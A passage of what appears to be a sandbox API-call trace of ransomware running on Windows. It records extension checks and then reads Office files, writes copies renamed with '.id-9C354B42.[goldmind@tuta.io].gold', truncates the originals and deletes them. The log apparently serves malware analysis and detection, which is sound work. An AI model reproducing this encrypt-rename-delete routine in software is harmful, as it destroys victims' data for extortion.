Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0109.012] lstrlenW (lpString=".1cd") returned 4 [0109.012] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0109.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0109.012] lstrlenW (lpString=".jpg") returned 4 [0109.012] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0109.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0109.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0109.012] lstrlenW (lpString=".doc") returned 4 [0109.012] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0109.013] lstrlenW (lpString=".docx") returned 5 [0109.013] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0109.013] lstrlenW (lpString=".pdf") returned 4 [0109.013] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0109.013] lstrlenW (lpString=".xls") returned 4 [0109.013] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0109.013] lstrlenW (lpString=".xlsx") returned 5 [0109.013] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1 [0109.013] lstrlenW (lpString=".ppt") returned 4 [0109.013] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0109.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0109.013] lstrlenW (lpString=".zip") returned 4 [0109.013] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0109.013] lstrlenW (lpString=".rar") returned 4 [0109.013] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0109.013] lstrlenW (lpString=".bz2") returned 4 [0109.013] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0109.013] lstrlenW (lpString=".7z") returned 3 [0109.013] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0109.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0109.013] lstrlenW (lpString=".dbf") returned 4 [0109.013] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0109.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0109.013] lstrlenW (lpString=".1cd") returned 4 [0109.013] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0109.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0109.013] lstrlenW (lpString=".jpg") returned 4 [0109.013] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0109.013] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0109.013] lstrlenW (lpString="wxpr.dll") returned 8 [0109.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0109.014] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=16776) returned 1 [0109.014] CloseHandle (hObject=0x3b8) returned 1 [0109.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll")) returned 0x20 [0109.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0109.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0109.015] lstrlenW (lpString=".doc") returned 4 [0109.015] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.015] lstrlenW (lpString=".docx") returned 5 [0109.015] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0109.015] lstrlenW (lpString=".pdf") returned 4 [0109.015] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.015] lstrlenW (lpString=".xls") returned 4 [0109.015] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.015] lstrlenW (lpString=".xlsx") returned 5 [0109.015] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0109.015] lstrlenW (lpString=".ppt") returned 4 [0109.015] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0109.015] lstrlenW (lpString=".zip") returned 4 [0109.015] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.015] lstrlenW (lpString=".rar") returned 4 [0109.015] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.015] lstrlenW (lpString=".bz2") returned 4 [0109.015] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.015] lstrlenW (lpString=".7z") returned 3 [0109.015] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0109.015] lstrlenW (lpString=".dbf") returned 4 [0109.015] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0109.016] lstrlenW (lpString=".1cd") returned 4 [0109.016] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0109.016] lstrlenW (lpString=".jpg") returned 4 [0109.016] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0109.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0109.016] lstrlenW (lpString=".doc") returned 4 [0109.016] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.016] lstrlenW (lpString=".docx") returned 5 [0109.016] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0109.016] lstrlenW (lpString=".pdf") returned 4 [0109.016] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.016] lstrlenW (lpString=".xls") returned 4 [0109.016] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.016] lstrlenW (lpString=".xlsx") returned 5 [0109.016] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0109.016] lstrlenW (lpString=".ppt") returned 4 [0109.016] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0109.016] lstrlenW (lpString=".zip") returned 4 [0109.016] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.016] lstrlenW (lpString=".rar") returned 4 [0109.016] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.016] lstrlenW (lpString=".bz2") returned 4 [0109.016] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.016] lstrlenW (lpString=".7z") returned 3 [0109.016] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0109.016] lstrlenW (lpString=".dbf") returned 4 [0109.016] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0109.016] lstrlenW (lpString=".1cd") returned 4 [0109.016] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0109.016] lstrlenW (lpString=".jpg") returned 4 [0109.016] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.016] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0109.016] lstrlenW (lpString="XFUNC.VSL") returned 9 [0109.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0109.017] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=52624) returned 1 [0109.017] CloseHandle (hObject=0x3b8) returned 1 [0109.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl")) returned 0x20 [0109.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0109.018] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.018] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0109.019] GetLastError () returned 0x0 [0109.019] ReadFile (in: hFile=0x3b8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xcd90, lpOverlapped=0x0) returned 1 [0109.023] WriteFile (in: hFile=0x3c8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xcda0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xcda0, lpOverlapped=0x0) returned 1 [0109.024] ReadFile (in: hFile=0x3b8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.024] WriteFile (in: hFile=0x3c8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0109.024] SetEndOfFile (hFile=0x3c8) returned 1 [0109.024] CloseHandle (hObject=0x3c8) returned 1 [0109.024] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.024] SetEndOfFile (hFile=0x3b8) returned 1 [0109.026] CloseHandle (hObject=0x3b8) returned 1 [0109.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl")) returned 1 [0109.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0109.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0109.027] lstrlenW (lpString=".doc") returned 4 [0109.027] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0109.027] lstrlenW (lpString=".docx") returned 5 [0109.027] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0109.027] lstrlenW (lpString=".pdf") returned 4 [0109.027] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0109.027] lstrlenW (lpString=".xls") returned 4 [0109.027] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0109.027] lstrlenW (lpString=".xlsx") returned 5 [0109.027] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0109.027] lstrlenW (lpString=".ppt") returned 4 [0109.027] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0109.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0109.027] lstrlenW (lpString=".zip") returned 4 [0109.027] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0109.027] lstrlenW (lpString=".rar") returned 4 [0109.027] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0109.027] lstrlenW (lpString=".bz2") returned 4 [0109.027] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0109.028] lstrlenW (lpString=".7z") returned 3 [0109.028] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0109.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0109.028] lstrlenW (lpString=".dbf") returned 4 [0109.028] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0109.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0109.028] lstrlenW (lpString=".1cd") returned 4 [0109.028] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0109.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0109.028] lstrlenW (lpString=".jpg") returned 4 [0109.028] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0109.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0109.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0109.028] lstrlenW (lpString=".doc") returned 4 [0109.028] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0109.028] lstrlenW (lpString=".docx") returned 5 [0109.028] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0109.028] lstrlenW (lpString=".pdf") returned 4 [0109.028] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0109.028] lstrlenW (lpString=".xls") returned 4 [0109.028] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0109.028] lstrlenW (lpString=".xlsx") returned 5 [0109.028] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0109.028] lstrlenW (lpString=".ppt") returned 4 [0109.028] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0109.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0109.028] lstrlenW (lpString=".zip") returned 4 [0109.028] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0109.028] lstrlenW (lpString=".rar") returned 4 [0109.028] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0109.028] lstrlenW (lpString=".bz2") returned 4 [0109.028] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0109.028] lstrlenW (lpString=".7z") returned 3 [0109.028] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0109.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0109.028] lstrlenW (lpString=".dbf") returned 4 [0109.028] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0109.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0109.028] lstrlenW (lpString=".1cd") returned 4 [0109.028] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0109.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0109.028] lstrlenW (lpString=".jpg") returned 4 [0109.028] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0109.029] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.029] lstrlenW (lpString="XLINTL32.DLL") returned 12 [0109.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0109.030] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2362752) returned 1 [0109.030] CloseHandle (hObject=0x3b8) returned 1 [0109.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll")) returned 0x20 [0109.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.030] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0109.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0109.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0109.030] lstrlenW (lpString=".doc") returned 4 [0109.030] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.030] lstrlenW (lpString=".docx") returned 5 [0109.030] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0109.030] lstrlenW (lpString=".pdf") returned 4 [0109.030] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.030] lstrlenW (lpString=".xls") returned 4 [0109.030] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.030] lstrlenW (lpString=".xlsx") returned 5 [0109.030] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0109.030] lstrlenW (lpString=".ppt") returned 4 [0109.030] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0109.030] lstrlenW (lpString=".zip") returned 4 [0109.031] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.031] lstrlenW (lpString=".rar") returned 4 [0109.031] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.031] lstrlenW (lpString=".bz2") returned 4 [0109.031] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.031] lstrlenW (lpString=".7z") returned 3 [0109.031] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0109.031] lstrlenW (lpString=".dbf") returned 4 [0109.031] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0109.031] lstrlenW (lpString=".1cd") returned 4 [0109.031] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0109.031] lstrlenW (lpString=".jpg") returned 4 [0109.031] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0109.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0109.031] lstrlenW (lpString=".doc") returned 4 [0109.031] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.031] lstrlenW (lpString=".docx") returned 5 [0109.031] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0109.031] lstrlenW (lpString=".pdf") returned 4 [0109.031] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.031] lstrlenW (lpString=".xls") returned 4 [0109.031] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.031] lstrlenW (lpString=".xlsx") returned 5 [0109.031] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0109.031] lstrlenW (lpString=".ppt") returned 4 [0109.031] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0109.031] lstrlenW (lpString=".zip") returned 4 [0109.031] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.031] lstrlenW (lpString=".rar") returned 4 [0109.031] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.031] lstrlenW (lpString=".bz2") returned 4 [0109.031] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.031] lstrlenW (lpString=".7z") returned 3 [0109.031] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0109.031] lstrlenW (lpString=".dbf") returned 4 [0109.031] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0109.031] lstrlenW (lpString=".1cd") returned 4 [0109.031] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0109.032] lstrlenW (lpString=".jpg") returned 4 [0109.032] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.032] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0109.032] lstrlenW (lpString="XLINTL32.DLL.IDX_DLL") returned 20 [0109.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0109.032] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=99200) returned 1 [0109.032] CloseHandle (hObject=0x3b8) returned 1 [0109.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll")) returned 0x20 [0109.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0109.033] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.033] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0109.033] GetLastError () returned 0x0 [0109.034] ReadFile (in: hFile=0x3b8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x18380, lpOverlapped=0x0) returned 1 [0109.346] WriteFile (in: hFile=0x3c8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x18390, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x18390, lpOverlapped=0x0) returned 1 [0109.347] ReadFile (in: hFile=0x3b8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.347] WriteFile (in: hFile=0x3c8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0109.348] SetEndOfFile (hFile=0x3c8) returned 1 [0109.348] CloseHandle (hObject=0x3c8) returned 1 [0109.348] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.348] SetEndOfFile (hFile=0x3b8) returned 1 [0109.350] CloseHandle (hObject=0x3b8) returned 1 [0109.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: 